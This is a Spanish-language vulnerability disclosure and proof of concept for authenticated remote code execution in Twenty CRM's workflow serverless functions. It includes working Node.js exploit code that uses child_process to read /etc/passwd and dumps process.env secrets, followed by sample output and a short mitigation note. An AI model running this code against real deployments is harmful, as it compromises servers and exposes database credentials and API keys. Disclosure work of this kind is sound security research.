
Prueba de concepto para la ejecución remota de código autenticada en Twenty CRM mediante funciones serverless sin sandbox, lo que permite la ejecución arbitraria de comandos Node.js y la divulgación de variables de entorno.
Producto: Twenty CRM
Vulnerabilidad: Ejecución Remota de Código (RCE) a través de Funciones Serverless de Workflows
Severidad: Crítica
Componente Afectado: Automatización de Workflows (Código - Función Serverless)
Versión Probada: v1.15.0
Este repositorio documenta una vulnerabilidad crítica en el motor de workflows de Twenty CRM. El componente "Código - Función Serverless" permite a usuarios autenticados ejecutar código Node.js arbitrario. Debido a la falta de sandboxing, es posible importar el módulo child_process y ejecutar comandos a nivel de sistema en el servidor host.
La aplicación permite a los usuarios crear workflows de automatización personalizados que incluyen un paso de ejecución de código. Si bien esto está pensado para la manipulación de datos, el entorno de ejecución no restringe adecuadamente el acceso a los módulos integrados de Node.js ni al sistema operativo subyacente.
Un atacante puede utilizar execSync de la librería child_process para:
cat, ls, whoami)./etc/passwd).process.env), revelando credenciales de base de datos, claves de API y secretos de la aplicación.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. Ejecución Remota de Comandos: Leer usuarios del sistema
const output = execSync('cat /etc/passwd').toString();
// 2. Divulgación de Información: Volcar todas las variables de entorno (Secretos)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
Code Overview
El workflow se ejecuta correctamente y devuelve los datos del sistema.
Acceso a Archivos del Sistema (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
Variables de Entorno Filtradas:
El volcado de process.env reveló detalles de configuración críticos:
PG_DATABASE_URL (Credenciales de Base de Datos)APP_SECRET (Claves de firma)REDIS_URLAWS_ACCESS_KEY (Si está configurado)Esta vulnerabilidad permite a un usuario autenticado (con permisos para crear workflows) lograr un Compromiso Total del Sistema.
Para solucionar este problema, la función "Función Serverless" requiere un aislamiento adecuado.
child_process, fs y net.